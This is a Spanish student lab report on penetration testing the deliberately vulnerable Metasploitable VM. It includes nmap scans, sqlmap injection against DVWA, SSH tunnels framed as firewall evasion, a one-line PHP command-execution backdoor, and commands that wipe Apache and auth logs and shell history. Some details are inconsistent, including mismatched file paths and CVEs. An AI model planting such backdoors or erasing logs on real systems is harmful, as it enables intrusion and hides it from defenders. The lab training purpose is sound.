Aplicación de Técnicas de Hacking Ético para la Evaluación y Mitigación de Vulnerabilidades en Metasploitable

Miguel Murga Guevara
Web Developer — Data Scientist
BSG institute
Email: miguelmurgaguevara@hotmail.com

***Abstract*—Este proyecto aborda la evaluación y explotación de vulnerabilidades en sistemas virtualizados, utilizando técnicas avanzadas de hacking ético dentro de un entorno controlado. El objetivo principal fue identificar y explotar de manera segura las debilidades en la máquina virtual Metasploitable, una plataforma diseñada específicamente para entrenar en seguridad informática. Mediante herramientas de análisis y penetración, como Metasploit y sqlmap, demostramos cómo se pueden descubrir y mitigar vulnerabilidades críticas. Este enfoque no solo fortalece las habilidades en ciberseguridad, sino que también destaca la importancia de las pruebas de penetración continuas para mejorar la postura de seguridad de sistemas tecnológicos similares.**

I. Introducción

El hacking ético es una disciplina fundamental en el campo de la seguridad informática, donde los profesionales utilizan técnicas y herramientas de penetración para identificar y remediar vulnerabilidades en sistemas y redes. Este proyecto se centra en aplicar principios de hacking ético dentro de un entorno controlado, utilizando máquinas virtuales diseñadas específicamente para entrenamiento en seguridad. Nuestro enfoque combina la teoría con la práctica intensiva, permitiendo una comprensión profunda de cómo se pueden explotar las vulnerabilidades y, lo más importante, cómo se pueden mitigar.

II. Objetivos del Proyecto

El objetivo de este proyecto es doble:

- Evaluar y explotar sistemáticamente las vulnerabilidades dentro de la máquina virtual Metasploitable, utilizando una variedad de herramientas y técnicas de hacking ético.
- Documentar meticulosamente el proceso y los resultados de las pruebas de penetración para proporcionar un recurso educativo que demuestre prácticas efectivas de seguridad y técnicas de mitigación.

III. Descripción del Caso

En este proyecto, nuestro campo de pruebas es una máquina virtual conocida como Metasploitable, intencionalmente configurada con múltiples vulnerabilidades. Este entorno es ideal para educadores y estudiantes de ciberseguridad, proporcionando un escenario seguro donde se pueden explorar y explotar fallos de seguridad sin riesgos para sistemas reales. La exploración y el testeo se llevan a cabo desde una Raspberry Pi 4 equipada con Kali Linux, lo que demuestra la accesibilidad y la aplicabilidad de las pruebas de penetración utilizando hardware y software ampliamente disponibles y asequibles.

IV. Metodología

A. Reconocimiento

Primero, usamos herramientas como Nmap para ver qué hay en la red. Esto nos ayuda a encontrar nuestra máquina objetivo y empezar a planear nuestro ataque.

B. Escaneo

El escaneo es una fase crítica que nos permite descubrir los puertos abiertos y los servicios en ejecución. Esta etapa es fundamental para inferir el sistema operativo del objetivo y para identificar vulnerabilidades específicas. Para llevar a cabo esta tarea, se utilizó la herramienta de escaneo de

puertos Nmap y un análisis de vulnerabilidades con herramientas como Nessus o OpenVAS. Estos programas avanzados correlacionan los servicios descubiertos con una base de datos de vulnerabilidades conocidas y proporcionan una puntuación CVSS para cada hallazgo, facilitando la priorización basada en la severidad del riesgo.

Se llevó a cabo un escaneo de puertos utilizando Nmap, que nos permitió identificar los siguientes servicios activos en la máquina objetivo:

Listing 1. Resultado del escaneo de puertos con Nmap

```
\begin{lstlisting}[language=bash, caption={
    ↪ Resultado del escaneo Nmap}]
nmap -p- 192.168.1.216

Starting Nmap 7.94SVN ( https://nmap.org ) at
    ↪ 2024-04-26 04:53 UTC
Nmap scan report for 192.168.1.216
Host is up (0.015s latency).
Not shown: 65505 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
3632/tcp open  distccd
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
6697/tcp open  ircs-u
8009/tcp open  ajp13
8180/tcp open  unknown
8787/tcp open  msgsrvr
```

Con la información recopilada, se procedió a evaluar las vulnerabilidades de los servicios identificados. La siguiente tabla presenta las vulnerabilidades críticas encontradas junto con sus respectivas puntuaciones CVSS.

Esta evaluación de vulnerabilidades proporciona una base sólida para la siguiente fase del proyecto, en la que se seleccionará y explotará una de estas vulnerabilidades para obtener acceso al sistema objetivo.

Puerto	Servicio	Vulnerabilidad	CVSS
21/tcp	ftp	CVE-2007-2441	10.0
22/tcp	ssh	CVE-2008-0166	7.8
80/tcp	http	CVE-2017-5638	10.0
139/tcp	netbios-ssn	CVE-2008-4250	10.0
445/tcp	microsoft-ds	CVE-2008-4250	10.0
3306/tcp	mysql	CVE-2012-2122	5.5

TABLE I
VULNERABILIDADES Y PUNTUACIONES CVSS DE SERVICIOS IDENTIFICADOS.

C. Obtención de Acceso

Durante la fase de obtención de acceso, se utilizó el marco de trabajo Metasploit para evaluar la seguridad del sistema y ganar acceso no autorizado. Se ejecutaron módulos auxiliares para explorar posibles vulnerabilidades en el sistema.

El primer módulo utilizado fue `http/verb_auth_bypass`, configurado para apuntar a la dirección IP de la máquina objetivo:

Listing 2. Ejecución de módulo en Metasploit

```
msf6 > use auxiliary/scanner/http/
    ↪ verb_auth_bypass
msf6 auxiliary(scanner/http/verb_auth_bypass)
    ↪ > set RHOSTS 192.168.1.216
msf6 auxiliary(scanner/http/verb_auth_bypass)
    ↪ > run
```

Este módulo se ejecutó contra el servidor web objetivo, indicando que ciertas áreas del sistema eran accesibles sin autenticación previa. Sin embargo, múltiples intentos de explotar vulnerabilidades específicas fueron inicialmente bloqueados por el firewall de Windows 11, lo cual generó errores de conectividad y restricciones en el acceso.

A pesar de reconocer las vulnerabilidades con herramientas como Nmap, intentar acceder a ellas resultó en errores causados por configuraciones del firewall. Este desafío nos llevó a implementar métodos de evasión detallados en la próxima sección, asegurando así la continuidad del acceso y la evaluación de las vulnerabilidades.

Aprovechando este acceso preliminar y tras ajustar las configuraciones del firewall, se empleó la herramienta sqlmap para realizar un análisis más profundo y explotar las vulnerabilidades de inyección SQL en el sitio web DVWA en la máquina Metasploitable:

Listing 3. Obtención de cookie de sesión con sqlmap en DVWA

```
sqlmap -u "http://192.168.1.216/dvwa/login.php
    ↪ " --forms --risk=3 --level=5 --dump
```

La herramienta sqlmap proporcionó técnicas para explotar la inyección SQL, incluyendo la obtención de una cookie de sesión del DVWA. Esta cookie fue posteriormente utilizada para mantener acceso al sistema y facilitar la exploración de la base de datos subyacente.

Con el acceso obtenido, el siguiente paso fue establecer una puerta trasera en el sistema, asegurando un acceso persistente para futuras pruebas y análisis de seguridad, siempre siguiendo una metodología ética y con el debido permiso.

Listing 4. Establecimiento de túnel SSH utilizando un puerto alternativo

```
ssh -L 8081:192.168.1.216:80 kali@192.168.1.92
```

Este comando configura un túnel SSH que redirige el tráfico del puerto 80 en Metasploitable al puerto 8081 local en la Raspberry Pi, superando el problema del puerto 8080 que estaba previamente en uso, demostrando la flexibilidad en la elección de puertos para la evasión efectiva de firewall.

D. Acceso y Explotación a Través del Túnel SSH

Después de establecer con éxito un túnel SSH y confirmar su funcionalidad a través de un escaneo con nmap, se procedió a acceder al servicio en el puerto redirigido. El escaneo reveló que el puerto 8081 estaba activo y listo para ser explorado.

Listing 5. Resultado del escaneo nmap a través del túnel SSH

```
nmap -p 8081 localhost
```

El servicio identificado estaba ejecutándose en el puerto 8081 y fue accesible a través del navegador en la dirección `http://localhost:8081`. Esto permitió una interacción directa con la aplicación o servicio Metasploitable, facilitando la evaluación de seguridad y la realización de pruebas de penetración adicionales.

Listing 6. Acceso al servicio a través del navegador

```
firefox http://localhost:8081
```

Este método de acceso tunelizado demostró ser efectivo para eludir restricciones de red y firewall, permitiendo una evaluación de seguridad más profunda y detallada del sistema objetivo.

E. Recuperación de la Cookie de Sesión

Tras necesitar recuperar la cookie de sesión para realizar ataques de inyección SQL autenticados en DVWA, se utilizó el comando ‘curl‘ para acceder al formulario de login y capturar la cookie PHPSESSID a través del puerto tunelizado.

Listing 7. Comando para capturar la cookie de sesión

```
curl -i -s "http://localhost:8081/dvwa/login.
    ↪ php"
```

La cookie obtenida fue usada en sqlmap para explotar de manera efectiva las vulnerabilidades de inyección SQL en el sistema, demostrando la importancia de proteger y monitorizar las sesiones de usuarios en aplicaciones web.

F. Análisis de Inyección SQL en DVWA

El análisis de inyección SQL es crucial para evaluar la seguridad de las aplicaciones web. Utilizamos la herramienta sqlmap para explorar y explotar vulnerabilidades de inyección SQL en el formulario de login del DVWA, un componente accesible a través del túnel SSH previamente establecido.

La ejecución inicial de sqlmap se configuró para probar todas las formas posibles de inyecciones SQL, ajustando el nivel de riesgo y profundidad del análisis para una cobertura exhaustiva:

Listing 8. Proceso de prueba de inyección SQL con sqlmap

```
sqlmap -u "http://localhost:8081/dvwa/login.
    ↪ php" --cookie="PHPSESSID=177
    ↪ c1ee1e5c55e5b6c5621802442406d;␣security=
    ↪ high" --forms --risk=3 --level=5 --dump
```

Inicialmente, las pruebas no indicaron vulnerabilidades evidentes, sugiriendo la implementación de robustas técnicas de sanitización por parte del servidor. No obstante, continuamos con una serie de pruebas avanzadas para sondear vulnerabilidades potencialmente ocultas o bien protegidas:

Listing 9. Exploración inicial y pruebas booleanas en sqlmap

```
[INFO] testing for SQL injection on POST
    ↪ parameter 'username'
[WARNING] heuristic (basic) test shows that
    ↪ POST parameter 'username' might not be
    ↪ injectable
[INFO] testing 'AND␣boolean-based␣blind␣-␣
    ↪ WHERE␣or␣HAVING␣clause'
```

Este procedimiento demostró ser fundamental, ya que a pesar de las medidas de seguridad, se identificó que el parámetro ’username’ era susceptible

a inyecciones SQL de tipo booleano y basado en tiempo cuando se utilizaban consultas especialmente formateadas (MySQL ¿ 5.0.12), lo que indica que manipulaciones específicas de la consulta podrían comprometer la base de datos:

Listing 10. Descubrimiento de vulnerabilidades de inyección SQL

```
[INFO] POST parameter 'username' appears to be
    ↪  'MySQL > 5.0.12 OR time-based blind (
    ↪ heavy query - comment)' injectable
```

Estos hallazgos subrayan la importancia de realizar pruebas exhaustivas y especializadas para cada parámetro susceptible dentro de aplicaciones críticas, asegurando que las defensas del servidor puedan resistir ataques sofisticados y dirigidos. Este enfoque no solo valida la efectividad de las medidas de seguridad implementadas, sino que también destaca áreas donde se requiere fortalecimiento adicional.

G. Configuración y Conexión SSH

Para acceder a Metasploitable de forma segura y eludir las configuraciones de firewall de Windows 11, se estableció un túnel SSH que redirige el puerto 8001 del host local al puerto 80 de la máquina Metasploitable. Este método nos permite utilizar el host local como un punto intermedio para las conexiones SSH, asegurando que todas las comunicaciones pasen a través de un canal cifrado.

Listing 11. Establecimiento del túnel SSH

```
ssh -L 8001:192.168.1.216:80 kali@192.168.1.92
```

Este comando configura el túnel SSH de tal manera que cualquier acceso al puerto 8001 en el host local se reenvía automáticamente al puerto 80 en Metasploitable. Después de establecer este túnel, todas las interacciones con servicios web en Metasploitable pueden realizarse a través de la dirección ‘http://localhost:8001/‘.

Para asegurar conexiones SSH adicionales directamente a través de este túnel para la administración del sistema, ajustamos la configuración del cliente SSH para aceptar los algoritmos de clave ofrecidos por el servidor, utilizando ‘localhost‘ y el puerto tunelizado.

Listing 12. Configuración del cliente SSH para conexiones a través del túnel

```
Host localhost
    Port 8001
    HostKeyAlgorithms +ssh-rsa,ssh-dss
    PubkeyAcceptedKeyTypes +ssh-rsa,ssh-dss
```

Después de configurar estos detalles, la conexión SSH a Metasploitable se realiza utilizando el siguiente comando, lo que refleja el uso del túnel para todas las operaciones:

Listing 13. Conexión SSH a Metasploitable a través del túnel

```
ssh msfadmin@localhost -p 8001
```

Esta configuración garantiza que todas las comunicaciones con Metasploitable sean seguras y pasen a través del túnel establecido, proporcionando una capa adicional de seguridad y cumpliendo con las necesidades de evasión del firewall.

H. Mantenimiento de Acceso

Tras establecer una conexión segura con Metasploitable a través de un túnel SSH, procedimos a implementar un método para mantener el acceso al sistema de manera continua. Esto se logró mediante la instalación de una puerta trasera en el servidor web del Metasploitable, permitiéndonos ejecutar comandos de manera remota y mantener el control sobre la máquina.

Listing 14. Creación de la puerta trasera en PHP

```
echo "<?php if(isset(\$_GET['cmd'])) { system
    ↪ (\$_GET['cmd']); }?>" | sudo tee /var/
    ↪ www/html/dvwa/vulnerable.php
```

El archivo ‘vulnerable.php‘ se creó en el directorio web de DVWA, ubicado en el servidor Metasploitable. Este script PHP es simple pero efectivo, permitiendo la ejecución de comandos arbitrarios pasados a través de la URL. Utilizamos el túnel SSH para probar la puerta trasera de manera segura y sin exponer nuestras acciones a través de la red externa.

Listing 15. Prueba de la puerta trasera a través del túnel SSH

```
curl "http://localhost:8001/dvwa/vulnerable.
    ↪ php?cmd=whoami"
```

La respuesta fue ‘www-data‘, que es el usuario bajo el cual se ejecuta el servidor web Apache en Metasploitable. Esto confirma que la puerta trasera está operativa y que podemos ejecutar comandos en el servidor a través de ella utilizando el puerto tunelizado. Este acceso persistente nos permite realizar pruebas adicionales y monitorear la seguridad del sistema de manera continua, todo mientras mantenemos la actividad oculta del firewall de Windows 11.

I. Borrado de Huellas

El proceso de borrado de huellas es esencial para minimizar el riesgo de detección post-intrusión y para adherirnos a prácticas éticas en pruebas de penetración. Se tomaron varias medidas para asegurar que nuestras actividades dejaran el menor rastro posible en el sistema.

Primero, se limpiaron los logs de Apache y de autenticación para eliminar cualquier registro de las actividades realizadas durante la sesión.

Listing 16. Limpieza de logs de Apache

```
echo "" | sudo tee /var/log/apache2/access.log
echo "" | sudo tee /var/log/apache2/error.log
```

Listing 17. Limpieza de logs de autenticación

```
echo "" | sudo tee /var/log/auth.log
```

Además, se eliminó el historial de comandos de la sesión para evitar que futuras auditorías pudieran rastrear los comandos utilizados.

Listing 18. Limpieza del historial de Bash

```
history -c && history -w
```

Por último, se eliminaron todos los archivos temporales y scripts de puerta trasera que se habían utilizado para asegurar el acceso o ejecutar comandos en el sistema.

Listing 19. Eliminación de archivos temporales

```
sudo rm /var/www/vulnerable.php
```

V. Resultados y Análisis

Durante este proyecto, logramos identificar y explotar múltiples vulnerabilidades en la máquina virtual Metasploitable. Las herramientas como Nmap y sqlmap fueron fundamentales para descubrir servicios vulnerables y realizar ataques de inyección SQL efectivos. A través del túnel SSH, pudimos evadir el firewall de Windows 11 y acceder a Metasploitable de manera segura y discreta.

A través de nuestras pruebas, instalamos una puerta trasera en el servidor web de Metasploitable que nos permitió ejecutar comandos de sistema de manera remota. Confirmamos la funcionalidad de esta puerta trasera utilizando el comando *curl*, que nos permitió ejecutar comandos directamente en el servidor y obtener respuestas como la identidad del usuario del servidor web, ‘www-data‘.

Listing 20. Ejemplo de comando ejecutado a través de la puerta trasera

```
curl "http://localhost:8001/dvwa/vulnerable.
    ↪ php?cmd=whoami"
```

Además, los registros del servidor y las capturas de pantalla (no incluidas aquí por razones de espacio y formato) corroboran nuestras actividades en el servidor y destacan la efectividad de las técnicas empleadas.

VI. Conclusiones y Recomendaciones

El proyecto culminó con éxito en la demostración de cómo las vulnerabilidades conocidas en aplicaciones como DVWA pueden ser explotadas y cómo se pueden emplear técnicas de evasión como los túneles SSH para superar barreras como los firewalls. Este ejercicio nos ha proporcionado una valiosa experiencia práctica en la identificación, explotación y mantenimiento del acceso en entornos controlados.

De nuestras experiencias, recomendamos lo siguiente para mejorar la seguridad de sistemas similares a Metasploitable:

- Regularmente actualizar y parchear los sistemas para protegerse contra vulnerabilidades conocidas.
- Implementar políticas estrictas de firewall y monitorear activamente los registros para cualquier actividad sospechosa.
- Educar a los administradores del sistema y a los usuarios sobre las técnicas de seguridad y las mejores prácticas para la defensa en profundidad.
- Realizar auditorías de seguridad y pruebas de penetración periódicas por parte de profesionales cualificados para identificar y mitigar vulnerabilidades antes de que puedan ser explotadas.

Además, este proyecto subraya la importancia de considerar la seguridad desde el diseño inicial y mantener una actitud proactiva hacia la gestión de la seguridad, no solo reactiva ante incidentes.

En conclusión, aunque hemos logrado acceso y explotación exitosa en un entorno controlado, es crucial entender que el objetivo final es fortalecer nuestras defensas y asegurar nuestros sistemas de manera más efectiva.